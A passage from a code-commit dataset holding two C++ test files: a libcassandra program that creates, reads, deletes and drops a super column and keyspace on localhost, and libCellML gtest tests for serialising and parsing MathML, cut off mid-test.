KeyspaceDefinition>::const_iterator it = key_out.begin(); it != key_out.end(); ++it)\n            {\n                cout << it->first << endl;\n            }\n        }\n    }\n    catch (org::apache::cassandra::InvalidRequestException &ire)\n    {\n        cout << ire.why << endl;\n        return 1;\n    }\n\n    return 0;\n}\n<commit_msg>involve super column in t_libcassandra<commit_after>#include <string.h>\n#include <sstream>\n#include <iostream>\n#include <stdlib.h>\n#include <set>\n#include <string>\n#include <stdio.h>\n\n#include <libcassandra\/connection_manager.h>\n#include <libcassandra\/cassandra.h>\n#include <libcassandra\/column_family_definition.h>\n#include <libcassandra\/keyspace.h>\n#include <libcassandra\/keyspace_definition.h>\n\nusing namespace std;\nusing namespace org::apache::cassandra;\nusing namespace libcassandra;\n\nstatic string host(\"127.0.0.1\");\nstatic int port= 9160;\nstatic size_t pool_size = 16;\nint main()\n{\n    CassandraConnectionManager::instance()->init(host,port,pool_size);\n    boost::shared_ptr<Cassandra> client(new Cassandra());\n\n    string clus_name= client->getClusterName();\n    cout << \"cluster name: \" << clus_name << endl;\n\n    try\n    {\n        static const string ks_name(\"___drizzle___\");\n        static const string key(\"sarah\");\n        static const string col_value(\"this is data being inserted!\");\n        static const string col_family(\"Data\");\n        static const string sup_col_name(\"Test\");\n        static const string col_name(\"third\");\n        ColumnParent col_parent;\n        col_parent.__set_column_family(col_family);\n        col_parent.__set_super_column(sup_col_name);\n        SlicePredicate pred;\n\n        \/* create keyspace *\/\n        cout << \"Create keyspace: \" << ks_name << endl;\n        KeyspaceDefinition ks_def;\n        ks_def.setName(ks_name);\n        if (client->findKeyspace(ks_name))\n        {\n            client->dropKeyspace(ks_name);\n        }\n        client->createKeyspace(ks_def);\n        client->setKeyspace(ks_def.getName());\n\n        cout << \"Current keyspaces are:\" << endl;\n        {\n            const map<string, KeyspaceDefinition>& key_out= client->getKeyspaces();\n            for (map<string, KeyspaceDefinition>::const_iterator it = key_out.begin(); it != key_out.end(); ++it)\n            {\n                cout << it->first << endl;\n            }\n        }\n        cout << endl;\n\n        \/* create standard column family *\/\n        ColumnFamilyDefinition cf_def;\n        cf_def.setName(col_family);\n        cf_def.setColumnType(\"Super\");\n        cf_def.setKeyspaceName(ks_def.getName());\n        client->createColumnFamily(cf_def);\n        cout << \"Now we have \" << client->getCount(key, col_parent, pred) << \" column(s) in the super column.\" << endl << endl;\n\n        \/* insert data *\/\n        cout << \"Value will be inserted is: \" << col_value << endl;\n        client->insertColumn(col_value, key, col_family, sup_col_name, col_name);\n        cout << endl << \"Inserting....\" << endl;\n\n        \/* retrieve that data *\/\n        cout << \"Now we have \" << client->getCount(key, col_parent, pred) << \" column(s) in the super column.\" << endl << endl;\n        string res;\n        client->getColumnValue(res, key, col_family, sup_col_name, col_name);\n        cout << \"Value in column retrieved is: \" << res << endl;\n\n        \/* delete data *\/\n        cout << endl << \"Deleting....\" << endl;\n        client->removeColumn(key, col_family, sup_col_name, col_name);\n        cout << \"Now we have \" << client->getCount(key, col_parent, pred) << \" column(s) in the super column.\" << endl << endl;\n\n        \/* drop column family and keyspace *\/\n        client->dropColumnFamily(col_family);\n        cout << \"Drop keyspace: \" << ks_name << endl;\n        client->dropKeyspace(ks_name);\n\n        cout << \"Current keyspaces are:\" << endl;\n        {\n            const map<string, KeyspaceDefinition>& key_out= client->getKeyspaces();\n            for (map<string, KeyspaceDefinition>::const_iterator it = key_out.begin(); it != key_out.end(); ++it)\n            {\n                cout << it->first << endl;\n            }\n        }\n    }\n    catch (org::apache::cassandra::InvalidRequestException &ire)\n    {\n        cout << ire.why << endl;\n        return 1;\n    }\n\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\nCopyright libCellML Contributors\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*\/\n\n#include \"test_utils.h\"\n\n#include \"gtest\/gtest.h\"\n\n#include <libcellml>\n\nTEST(Maths, setAndGetMath)\n{\n    libcellml::ComponentPtr c = libcellml::Component::create();\n    c->setMath(EMPTY_MATH);\n    EXPECT_EQ(EMPTY_MATH, c->math());\n}\n\nTEST(Maths, appendAndSerialiseMathComponent)\n{\n    const std::string e =\n        \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\"\n        \"<model xmlns=\\\"http:\/\/www.cellml.org\/cellml\/2.0#\\\">\\n\"\n        \"  <component>\\n\"\n        \"    <math xmlns=\\\"http:\/\/www.w3.org\/1998\/Math\/MathML\\\"\/>\\n\"\n        \"  <\/component>\\n\"\n        \"<\/model>\\n\";\n\n    libcellml::ModelPtr m = createModelWithComponent();\n    libcellml::ComponentPtr c = m->component(0);\n    c->appendMath(EMPTY_MATH);\n\n    libcellml::PrinterPtr printer = libcellml::Printer::create();\n    const std::string a = printer->printModel(m);\n    EXPECT_EQ(e, a);\n}\n\nTEST(Maths, appendAndRemoveMathFromComponent)\n{\n    const std::string eNoMath =\n        \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\"\n        \"<model xmlns=\\\"http:\/\/www.cellml.org\/cellml\/2.0#\\\">\\n\"\n        \"  <component\/>\\n\"\n        \"<\/model>\\n\";\n    const std::string eWithMath =\n        \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\"\n        \"<model xmlns=\\\"http:\/\/www.cellml.org\/cellml\/2.0#\\\">\\n\"\n        \"  <component>\\n\"\n        \"    <math xmlns=\\\"http:\/\/www.w3.org\/1998\/Math\/MathML\\\"\/>\\n\"\n        \"  <\/component>\\n\"\n        \"<\/model>\\n\";\n    libcellml::ModelPtr m = createModelWithComponent();\n    libcellml::ComponentPtr c = m->component(0);\n    libcellml::PrinterPtr printer = libcellml::Printer::create();\n\n    c->appendMath(EMPTY_MATH);\n    std::string a = printer->printModel(m);\n    EXPECT_EQ(eWithMath, a);\n\n    c->removeMath();\n    a = printer->printModel(m);\n    EXPECT_EQ(eNoMath, a);\n\n    c->appendMath(EMPTY_MATH);\n    a = printer->printModel(m);\n    EXPECT_EQ(eWithMath, a);\n\n    c->setMath(\"\");\n    a = printer->printModel(m);\n    EXPECT_EQ(eNoMath, a);\n}\n\nTEST(Maths, appendSerialiseAndParseMathInComponent)\n{\n    const std::string e =\n        \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\"\n        \"<model xmlns=\\\"http:\/\/www.cellml.org\/cellml\/2.0#\\\">\\n\"\n        \"  <component>\\n\"\n        \"    <math xmlns=\\\"http:\/\/www.w3.org\/1998\/Math\/MathML\\\"\/>\\n\"\n        \"  <\/component>\\n\"\n        \"<\/model>\\n\";\n\n    libcellml::ModelPtr m = libcellml::Model::create();\n    libcellml::ComponentPtr c = libcellml::Component::create();\n    m->addComponent(c);\n    c->appendMath(EMPTY_MATH);\n\n    libcellml::PrinterPtr printer = libcellml::Printer::create();\n    std::string a = printer->printModel(m);\n    EXPECT_EQ(e, a);\n\n    \/\/ Parse\n    libcellml::ParserPtr parser = libcellml::Parser::create();\n    libcellml::ModelPtr model = parser->parseModel(e);\n    a = printer->printModel(model);\n    EXPECT_EQ(e, a);\n}\n\nTEST(Maths, modelWithTwoVariablesAndTwoInvalidMaths)\n{\n    const std::string e =\n        \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\"\n        \"<model xmlns=\\\"http:\/\/www.cellml.org\/cellml\/2.0#\\\">\\n\"\n        \"  <component name=\\\"component\\\">\\n\"\n        \"    <variable name=\\\"variable1\\\"\/>\\n\"\n        \"    <variable name=\\\"variable2\\\"\/>\\n\"\n        \"    <math xmlns=\\\"http:\/\/www.w3.org\/1998\/Math\/MathML\\\"\/>\\n\"\n        \"    <math xmlns=\\\"http:\/\/www.w3.org\/1998\/Math\/MathML\\\"\/>\\n\"\n        \"  <\/component>\\n\"\n        \"<\/model>\\n\";\n\n    libcellml::ModelPtr m = libcellml::Model::create();\n    libcellml::ComponentPtr c = libcellml::Component::create();\n    libcellml::VariablePtr v1 = libcellml::Variable::create();\n    libcellml::VariablePtr v2 = libcellml::Variable::create();\n    c->setName(\"component\");\n    v1->setName(\"variable1\");\n    v2->setName(\"variable2\");\n    c->addVariable(v1);\n    c->addVariable(v2);\n    c->appendMath(EMPTY_MATH);\n    c->appendMath(EMPTY_MATH);\n    m->addComponent(c);\n\n    libcellml::PrinterPtr printer = libcellml::Printer::create();\n    const std::string a = printer->printModel(m);\n    EXPECT_EQ(e, a);\n}\n\nTEST(Maths, modelWithTwoVariablesWithInitialValuesAndInvalidMath)\n{\n    const std::string e =\n        \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\"\n        \"<model xmlns=\\\"http:\/\/www.cellml.org\/cellml\/2.0#\\\">\\n\"\n        \"  <component name=\\\"component\\\">\\n\"\n        \"    <variable name=\\\"variable1\\\" initial_value=\\\"1.0\\\"\/>\\n\"\n        \"    <variable name=\\\"variable2\\\" initial_value=\\\"-1.0\\\"\/>\\n\"\n        \"    <math xmlns=\\\"http:\/\/www.w3.org\/1998\/Math\/MathML\\\"\/>\\n\"\n        \"  <\/component>\\n\"\n        \"<\/model>\\n\";\n\n    libcellml::ModelPtr m = libcellml::Model::create();\n    libcellml::ComponentPtr c = libcellml::Component::create();\n    libcellml::VariablePtr v1 = libcellml::Variable::create();\n    libcellml::VariablePtr v2 = libcellml::Variable::create();\n    c->setName(\"component\");\n    v1->setName(\"variable1\");\n    v2->setName(\"variable2\");\n    v1->setInitialValue(\"1.0\");\n    v2->setInitialValue(\"-1.0\");\n    c->addVariable(v1);\n    c->addVariable(v2);\n    c->appendMath(EMPTY_MATH);\n    m->addComponent(c);\n\n    libcellml::PrinterPtr printer = libcellml::Printer::create();\n    const std::string a = printer->printModel(m);\n    EXPECT_EQ(e, a);\n}\n\n\/\/ 1.xiii.a\nTEST(Maths, modelWithTwoVariablesWithInitialValuesAndValidMath)\n{\n    const std::string e =\n        \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\"\n        \"<model xmlns=\\\"http:\/\/www.cellml.org\/cellml\/2.0#\\\">\\n\"\n        \"  <component name=\\\"component\\\">\\n\"\n        \"    <variable name=\\\"A\\\" initial_value=\\\"1.0\\\"\/>\\n\"\n        \"    <variable name=\\\"B\\\" initial_value=\\\"-1.0\\\"\/>\\n\"\n        \"    <math xmlns=\\\"http:\/\/www.w3.org\/1998\/Math\/MathML\\\">\\n\"\n        \"      <apply>\\n\"\n        \"        <eq\/>\\n\"\n        \"        <ci>C<\/ci>\\n\"\n        \"        <apply>\\n\"\n        \"          <plus\/>\\n\"\n        \"          <ci>A<\/ci>\\n\"\n        \"          <ci>B<\/ci>\\n\"\n        \"        <\/apply>\\n\"\n        \"      <\/apply>\\n\"\n        \"    <\/math>\\n\"\n        \"  <\/component>\\n\"\n        \"<\/model>\\n\";\n    const std::string math =\n        \"<math xmlns=\\\"http:\/\/www.w3.org\/1998\/Math\/MathML\\\">\\n\"\n        \"  <apply>\\n\"\n        \"    <eq\/>\\n\"\n        \"    <ci>C<\/ci>\\n\"\n        \"    <apply>\\n\"\n        \"      <plus\/>\\n\"\n        \"      <ci>A<\/ci>\\n\"\n        \"      <ci>B<\/ci>\\n\"\n        \"    <\/apply>\\n\"\n        \"  <\/apply>\\n\"\n        \"<\/math>\\n\";\n\n    libcellml::ModelPtr m = libcellml::Model::create();\n    libcellml::ComponentPtr c = libcellml::Component::create();\n    libcellml::VariablePtr v1 = libcellml::Variable::create();\n    libcellml::VariablePtr v2 = libcellml::Variable::create();\n    c->setName(\"component\");\n    v1->setName(\"A\");\n    v2->setName(\"B\");\n    v1->setInitialValue(\"1.0\");\n    v2->setInitialValue(\"-1.0\");\n    c->addVariable(v1);\n    c->addVariable(v2);\n    c->appendMath(math);\n    m->addComponent(c);\n\n    libcellml::PrinterPtr printer = libcellml::Printer::create();\n    const std::string a = printer->printModel(m);\n    EXPECT_EQ(e, a);\n}\n\n\/\/ 1.xiv.a\nTEST(Maths, twoComponentsWithMathAndConnectionAndParse)\n{\n    const std::string e =\n        \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\"\n        \"<model xmlns=\\\"http:\/\/www.cellml.org\/cellml\/2.0#\\\">\\n\"\n        \"  <component name=\\\"component1\\\">\\n\"\n        \"    <variable name=\\\"A1\\\"\/>\\n\"\n        \"    <variable name=\\\"B1\\\"\/>\\n\"\n        \"    <math xmlns=\\\"http:\/\/www.w3.org\/1998\/Math\/MathML\\\">\\n\"\n        \"      <apply>\\n\"\n        \"        <eq\/>\\n\"\n        \"        <ci>C1<\/ci>\\n\"\n        \"        <apply>\\n\"\n        \"          <plus\/>\\n\"\n        \"          <ci>A1<\/ci>\\n\"\n        \"          <ci>B1<\/ci>\\n\"\n        \"        <\/apply>\\n\"\n        \"      <\/apply>\\n\"\n        \"    <\/math>\\n\"\n        \"  <\/component>\\n\"\n        \"  <component name=\\\"component2\\\">\\n\"\n        \"    <variable name=\\\"A2\\\"\/>\\n\"\n        \"    <variable name=\\\"B2\\\"\/>\\n\"\n        \"    <math xmlns=\\\"http:\/\/www.w3.org\/1998\/Math\/MathML\\\">\\n\"\n        \"      <apply>\\n\"\n        \"        <eq\/>\\n\"\n        \"        <ci>C2<\/ci>\\n\"\n        \"        <apply>\\n\"\n        \"          <plus\/>\\n\"\n        \"          <ci>A2<\/ci>\\n\"\n        \"          <ci>B2<\/ci>\\n\"\n        \"        <\/apply>\\n\"\n        \"      <\/apply>\\n\"\n        \"    <\/math>\\n\"\n        \"  <\/component>\\n\"\n        \"  <connection component_1=\\\"component1\\\" component_2=\\\"component2\\\">\\n\"\n        \"    <map_variables variable_1=\\\"A1\\\" variable_2=\\\"A2\\\"\/>\\n\"\n        \"  <\/connection>\\n\"\n        \"<\/model>\\n\";\n    const std::string math1 =\n        \"<math xmlns=\\\"http:\/\/www.w3.org\/1998\/Math\/MathML\\\">\\n\"\n        \"  <apply>\\n\"\n        \"    <eq\/>\\n\"\n        \"    <ci>C1<\/ci>\\n\"\n        \"    <apply>\\n\"\n        \"      <plus\/>\\n\"\n        \"      <ci>A1<\/ci>\\n\"\n        \"      <ci>B1<\/ci>\\n\"\n        \"    <\/apply>\\n\"\n        \"  <\/apply>\\n\"\n        \"<\/math>\\n\";\n    const std::string math2 =\n        \"<math xmlns=\\\"http:\/\/www.w3.org\/1998\/Math\/MathML\\\">\\n\"\n        \"  <apply>\\n\"\n        \"    <eq\/>\\n\"\n        \"    <ci>C2<\/ci>\\n\"\n        \"    <apply>\\n\"\n        \"      <plus\/>\\n\"\n        \"      <ci>A2<\/ci>\\n\"\n        \"      <ci>B2<\/ci>\\n\"\n        \"    <\/apply>\\n\"\n        \"  <\/apply>\\n\"\n        \"<\/math>\\n\";\n\n    libcellml::ModelPtr m = libcellml::Model::create();\n    libcellml::ComponentPtr comp1 = libcellml::Component::create();\n    libcellml::ComponentPtr comp2 = libcellml::Component::create();\n    libcellml::VariablePtr v11 = libcellml::Variable::create();\n    libcellml::VariablePtr v12 = libcellml::Variable::create();\n    libcellml::VariablePtr v21 = libcellml::Variable::create();\n    libcellml::VariablePtr v22 = libcellml::Variable::create();\n\n    comp1->setName(\"component1\");\n    comp2->setName(\"component2\");\n    v11->setName(\"A1\");\n    v12->setName(\"B1\");\n    v21->setName(\"A2\");\n    v22->setName(\"B2\");\n\n    comp1->addVariable(v11);\n    comp1->addVariable(v12);\n    comp2->addVariable(v21);\n    comp2->addVariable(v22);\n    comp1->appendMath(math1);\n    comp2->appendMath(math2);\n    m->addComponent(comp1);\n    m->addComponent(comp2);\n    libcellml::Variable::addEquivalence(v11, v21);\n\n    libcellml::PrinterPtr printer = libcellml::Printer::create();\n    std::string a = printer->printModel(m);\n    EXPECT_EQ(e, a);\n\n    \/\/ Parse\n    libcellml::ParserPtr parser = libcellml::Parser::create();\n    libcellml::ModelPtr model = parser->parseModel(e);\n    a = printer->printModel(model);\n    EXPECT_EQ(e, a);\n}\n<commit_msg>Adding test to show segfault when adding an entire XML MathML document.<commit_after>\/*\nCopyright libCellML Contributors\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*\/\n\n#include \"test_utils.h\"\n\n#include \"gtest\/gtest.h\"\n\n#include <libcellml>\n\nTEST(Maths, setAndGetMath)\n{\n    libcellml::ComponentPtr c = libcellml::Component::create();\n    c->setMath(EMPTY_MATH);\n    EXPECT_EQ(EMPTY_MATH, c->math());\n}\n\nTEST(Maths, appendAndSerialiseMathComponent)\n{\n    const std::string e =\n        \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\"\n        \"<model xmlns=\\\"http:\/\/www.cellml.org\/cellml\/2.0#\\\">\\n\"\n        \"  <component>\\n\"\n        \"    <math xmlns=\\\"http:\/\/www.w3.org\/1998\/Math\/MathML\\\"\/>\\n\"\n        \"  <\/component>\\n\"\n        \"<\/model>\\n\";\n\n    libcellml::ModelPtr m = createModelWithComponent();\n    libcellml::ComponentPtr c = m->component(0);\n    c->appendMath(EMPTY_MATH);\n\n    libcellml::PrinterPtr printer = libcellml::Printer::create();\n    const std::string a = printer->printModel(m);\n    EXPECT_EQ(e, a);\n}\n\nTEST(Maths, appendAndRemoveMathFromComponent)\n{\n    const std::string eNoMath =\n        \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\"\n        \"<model xmlns=\\\"http:\/\/www.cellml.org\/cellml\/2.0#\\\">\\n\"\n        \"  <component\/>\\n\"\n        \"<\/model>\\n\";\n    const std::string eWithMath =\n        \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\"\n        \"<model xmlns=\\\"http:\/\/www.cellml.org\/cellml\/2.0#\\\">\\n\"\n        \"  <component>\\n\"\n        \"    <math xmlns=\\\"http:\/\/www.w3.org\/1998\/Math\/MathML\\\"\/>\\n\"\n        \"  <\/component>\\n\"\n        \"<\/model>\\n\";\n    libcellml::ModelPtr m = createModelWithComponent();\n    libcellml::ComponentPtr c = m->component(0);\n    libcellml::PrinterPtr printer = libcellml::Printer::create();\n\n    c->appendMath(EMPTY_MATH);\n    std::string a = printer->printModel(m);\n    EXPECT_EQ(eWithMath, a);\n\n    c->removeMath();\n    a = printer->printModel(m);\n    EXPECT_EQ(eNoMath, a);\n\n    c->appendMath(EMPTY_MATH);\n    a = printer->printModel(m);\n    EXPECT_EQ(eWithMath, a);\n\n    c->setMath(\"\");\n    a = printer->printModel(m);\n    EXPECT_EQ(eNoMath, a);\n}\n\nTEST(Maths, appendSerialiseAndParseMathInComponent)\n{\n    const std::string e =\n        \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\"\n        \"<model xmlns=\\\"http:\/\/www.cellml.org\/cellml\/2.0#\\\">\\n\"\n        \"  <component>\\n\"\n        \"    <math xmlns=\\\"http:\/\/www.w3.org\/1998\/Math\/MathML\\\"\/>\\n\"\n        \"  <\/component>\\n\"\n        \"<\/model>\\n\";\n\n    libcellml::ModelPtr m = libcellml::Model::create();\n    libcellml::ComponentPtr c = libcellml::Component::create();\n    m->addComponent(c);\n    c->appendMath(EMPTY_MATH);\n\n    libcellml::PrinterPtr printer = libcellml::Printer::create();\n    std::string a = printer->printModel(m);\n    EXPECT_EQ(e, a);\n\n    \/\/ Parse\n    libcellml::ParserPtr parser = libcellml::Parser::create();\n    libcellml::ModelPtr model = parser->parseModel(e);\n    a = printer->printModel(model);\n    EXPECT_EQ(e, a);\n}\n\nTEST(Maths, modelWithTwoVariablesAndTwoInvalidMaths)\n{\n    const std::string e =\n        \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\"\n        \"<model xmlns=\\\"http:\/\/www.cellml.org\/cellml\/2.0#\\\">\\n\"\n        \"  <component name=\\\"component\\\">\\n\"\n        \"    <variable name=\\\"variable1\\\"\/>\\n\"\n        \"    <variable name=\\\"variable2\\\"\/>\\n\"\n        \"    <math xmlns=\\\"http:\/\/www.w3.org\/1998\/Math\/MathML\\\"\/>\\n\"\n        \"    <math xmlns=\\\"http:\/\/www.w3.org\/1998\/Math\/MathML\\\"\/>\\n\"\n        \"  <\/component>\\n\"\n        \"<\/model>\\n\";\n\n    libcellml::ModelPtr m = libcellml::Model::create();\n    libcellml::ComponentPtr c = libcellml::Component::create();\n    libcellml::VariablePtr v1 = libcellml::Variable::create();\n    libcellml::VariablePtr v2 = libcellml::Variable::create();\n    c->setName(\"component\");\n    v1->setName(\"variable1\");\n    v2->setName(\"variable2\");\n    c->addVariable(v1);\n    c->addVariable(v2);\n    c->appendMath(EMPTY_MATH);\n    c->appendMath(EMPTY_MATH);\n    m->addComponent(c);\n\n    libcellml::PrinterPtr printer = libcellml::Printer::create();\n    const std::string a = printer->printModel(m);\n    EXPECT_EQ(e, a);\n}\n\nTEST(Maths, modelWithTwoVariablesWithInitialValuesAndInvalidMath)\n{\n    const std::string e =\n        \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\"\n        \"<model xmlns=\\\"http:\/\/www.cellml.org\/cellml\/2.0#\\\">\\n\"\n        \"  <component name=\\\"component\\\">\\n\"\n        \"    <variable name=\\\"variable1\\\" initial_value=\\\"1.0\\\"\/>\\n\"\n        \"    <variable name=\\\"variable2\\\" initial_value=\\\"-1.0\\\"\/>\\n\"\n        \"    <math xmlns=\\\"http:\/\/www.w3.org\/1998\/Math\/MathML\\\"\/>\\n\"\n        \"  <\/component>\\n\"\n        \"<\/model>\\n\";\n\n    libcellml::ModelPtr m = libcellml::Model::create();\n    libcellml::ComponentPtr c = libcellml::Component::create();\n    libcellml::VariablePtr v1 = libcellml::Variable::create();\n    libcellml::VariablePtr v2 = libcellml::Variable::create();\n    c->setName(\"component\");\n    v1->setName(\"variable1\");\n    v2->setName(\"variable2\");\n    v1->setInitialValue(\"1.0\");\n    v2->setInitialValue(\"-1.0\");\n    c->addVariable(v1);\n    c->addVariable(v2);\n    c->appendMath(EMPTY_MATH);\n    m->addComponent(c);\n\n    libcellml::PrinterPtr printer = libcellml::Printer::create();\n    const std::string a = printer->printModel(m);\n    EXPECT_EQ(e, a);\n}\n\n\/\/ 1.xiii.a\nTEST(Maths, modelWithTwoVariablesWithInitialValuesAndValidMath)\n{\n    const std::string e =\n        \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\"\n        \"<model xmlns=\\\"http:\/\/www.cellml.org\/cellml\/2.0#\\\">\\n\"\n        \"  <component name=\\\"component\\\">\\n\"\n        \"    <variable name=\\\"A\\\" initial_value=\\\"1.0\\\"\/>\\n\"\n        \"    <variable name=\\\"B\\\" initial_value=\\\"-1.0\\\"\/>\\n\"\n        \"    <math xmlns=\\\"http:\/\/www.w3.org\/1998\/Math\/MathML\\\">\\n\"\n        \"      <apply>\\n\"\n        \"        <eq\/>\\n\"\n        \"        <ci>C<\/ci>\\n\"\n        \"        <apply>\\n\"\n        \"          <plus\/>\\n\"\n        \"          <ci>A<\/ci>\\n\"\n        \"          <ci>B<\/ci>\\n\"\n        \"        <\/apply>\\n\"\n        \"      <\/apply>\\n\"\n        \"    <\/math>\\n\"\n        \"  <\/component>\\n\"\n        \"<\/model>\\n\";\n    const std::string math =\n        \"<math xmlns=\\\"http:\/\/www.w3.org\/1998\/Math\/MathML\\\">\\n\"\n        \"  <apply>\\n\"\n        \"    <eq\/>\\n\"\n        \"    <ci>C<\/ci>\\n\"\n        \"    <apply>\\n\"\n        \"      <plus\/>\\n\"\n        \"      <ci>A<\/ci>\\n\"\n        \"      <ci>B<\/ci>\\n\"\n        \"    <\/apply>\\n\"\n        \"  <\/apply>\\n\"\n        \"<\/math>\\n\";\n\n    libcellml::ModelPtr m = libcellml::Model::create();\n    libcellml::ComponentPtr c = libcellml::Component::create();\n    libcellml::VariablePtr v1 = libcellml::Variable::create();\n    libcellml::VariablePtr v2 = libcellml::Variable::create();\n    c->setName(\"component\");\n    v1->setName(\"A\");\n    v2->setName(\"B\");\n    v1->setInitialValue(\"1.0\");\n    v2->setInitialValue(\"-1.0\");\n    c->addVariable(v1);\n    c->addVariable(v2);\n    c->appendMath(math);\n    m->addComponent(c);\n\n    libcellml::PrinterPtr printer = libcellml::Printer::create();\n    const std::string a = printer->printModel(m);\n    EXPECT_EQ(e, a);\n}\n\n\/\/ 1.xiv.a\nTEST(Maths, twoComponentsWithMathAndConnectionAndParse)\n{\n    const std::string e =\n        \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\"\n        \"<model xmlns=\\\"http:\/\/www.cellml.org\/cellml\/2.0#\\\">\\n\"\n        \"  <component name=\\\"component1\\\">\\n\"\n        \"    <variable name=\\\"A1\\\"\/>\\n\"\n        \"    <variable name=\\\"B1\\\"\/>\\n\"\n        \"    <math xmlns=\\\"http:\/\/www.w3.org\/1998\/Math\/MathML\\\">\\n\"\n        \"      <apply>\\n\"\n        \"        <eq\/>\\n\"\n        \"        <ci>C1<\/ci>\\n\"\n        \"        <apply>\\n\"\n        \"          <plus\/>\\n\"\n        \"          <ci>A1<\/ci>\\n\"\n        \"          <ci>B1<\/ci>\\n\"\n        \"        <\/apply>\\n\"\n        \"      <\/apply>\\n\"\n        \"    <\/math>\\n\"\n        \"  <\/component>\\n\"\n        \"  <component name=\\\"component2\\\">\\n\"\n        \"    <variable name=\\\"A2\\\"\/>\\n\"\n        \"    <variable name=\\\"B2\\\"\/>\\n\"\n        \"    <math xmlns=\\\"http:\/\/www.w3.org\/1998\/Math\/MathML\\\">\\n\"\n        \"      <apply>\\n\"\n        \"        <eq\/>\\n\"\n        \"        <ci>C2<\/ci>\\n\"\n        \"        <apply>\\n\"\n        \"          <plus\/>\\n\"\n        \"          <ci>A2<\/ci>\\n\"\n        \"          <ci>B2<\/ci>\\n\"\n        \"        <\/apply>\\n\"\n        \"      <\/apply>\\n\"\n        \"    <\/math>\\n\"\n        \"  <\/component>\\n\"\n        \"  <connection component_1=\\\"component1\\\" component_2=\\\"component2\\\">\\n\"\n        \"    <map_variables variable_1=\\\"A1\\\" variable_2=\\\"A2\\\"\/>\\n\"\n        \"  <\/connection>\\n\"\n        \"<\/model>\\n\";\n    const std::string math1 =\n        \"<math xmlns=\\\"http:\/\/www.w3.org\/1998\/Math\/MathML\\\">\\n\"\n        \"  <apply>\\n\"\n        \"    <eq\/>\\n\"\n        \"    <ci>C1<\/ci>\\n\"\n        \"    <apply>\\n\"\n        \"      <plus\/>\\n\"\n        \"      <ci>A1<\/ci>\\n\"\n        \"      <ci>B1<\/ci>\\n\"\n        \"    <\/apply>\\n\"\n        \"  <\/apply>\\n\"\n        \"<\/math>\\n\";\n    const std::string math2 =\n        \"<math xmlns=\\\"http:\/\/www.w3.org\/1998\/Math\/MathML\\\">\\n\"\n        \"  <apply>\\n\"\n        \"    <eq\/>\\n\"\n        \"    <ci>C2<\/ci>\\n\"\n        \"    <apply>\\n\"\n        \"      <plus\/>\\n\"\n        \"      <ci>A2<\/ci>\\n\"\n        \"      <ci>B2<\/ci>\\n\"\n        \"    <\/apply>\\n\"\n        \"  <\/apply>\\n\"\n        \"<\/math>\\n\";\n\n    libcellml::ModelPtr m = libcellml::Model::create();\n    libcellml::ComponentPtr comp1 = libcellml::Component::create();\n    libcellml::ComponentPtr comp2 = libcellml::Component::create();\n    libcellml::VariablePtr v11 = libcellml::Variable::create();\n    libcellml::VariablePtr v12 = libcellml::Variable::create();\n    libcellml::VariablePtr v21 = libcellml::Variable::create();\n    libcellml::VariablePtr v22 = libcellml::Variable::create();\n\n    comp1->setName(\"component1\");\n    comp2->setName(\"component2\");\n    v11->setName(\"A1\");\n    v12->setName(\"B1\");\n    v21->setName(\"A2\");\n    v22->setName(\"B2\");\n\n    comp1->addVariable(v11);\n    comp1->addVariable(v12);\n    comp2->addVariable(v21);\n    comp2->addVariable(v22);\n    comp1->appendMath(math1);\n    comp2->appendMath(math2);\n    m->addComponent(comp1);\n    m->addComponent(comp2);\n    libcellml::Variable::addEquivalence(v11, v21);\n\n    libcellml::PrinterPtr printer = libcellml::Printer::create();\n    std::string a = printer->printModel(m);\n    EXPECT_EQ(e, a);\n\n    \/\/ Parse\n    libcellml::ParserPtr parser = libcellml::Parser::create();\n    libcellml::ModelPtr model = parser->parseModel(e);\n    a = printer->printModel(model);\n    EXPECT_EQ(e, a);\n}\n\nTEST(Maths, addingMathMLAsACompleteDocument)\n{\n    const std::string e =\n        \"<?xml version= \\\"1.0 \\\" encoding= \\\"UTF-8 \\\"?>\\n\"\n        \"<model xmlns= \\\"http:\/\/www.cellml.org\/cellml\/2.0# \\\">\\n\"\n        \"  <component name= \\\"parameters \\\">\\n\"\n        \"    <math xmlns= \\\"http:\/\/www.w3.org\/1998\/Math\/MathML \\\">\\n\"\n        \"      <apply>\\n\"\n        \"        <divide\/>\\n\"\n        \"        <ci>eff<\/ci>\\n\"\n        \"        <ci>t_ave<\/ci>\\n\"\n        \"      <\/apply>\\n\"\n        \"    <\/math>\\n\"\n        \"  <\/component>\\n\"\n        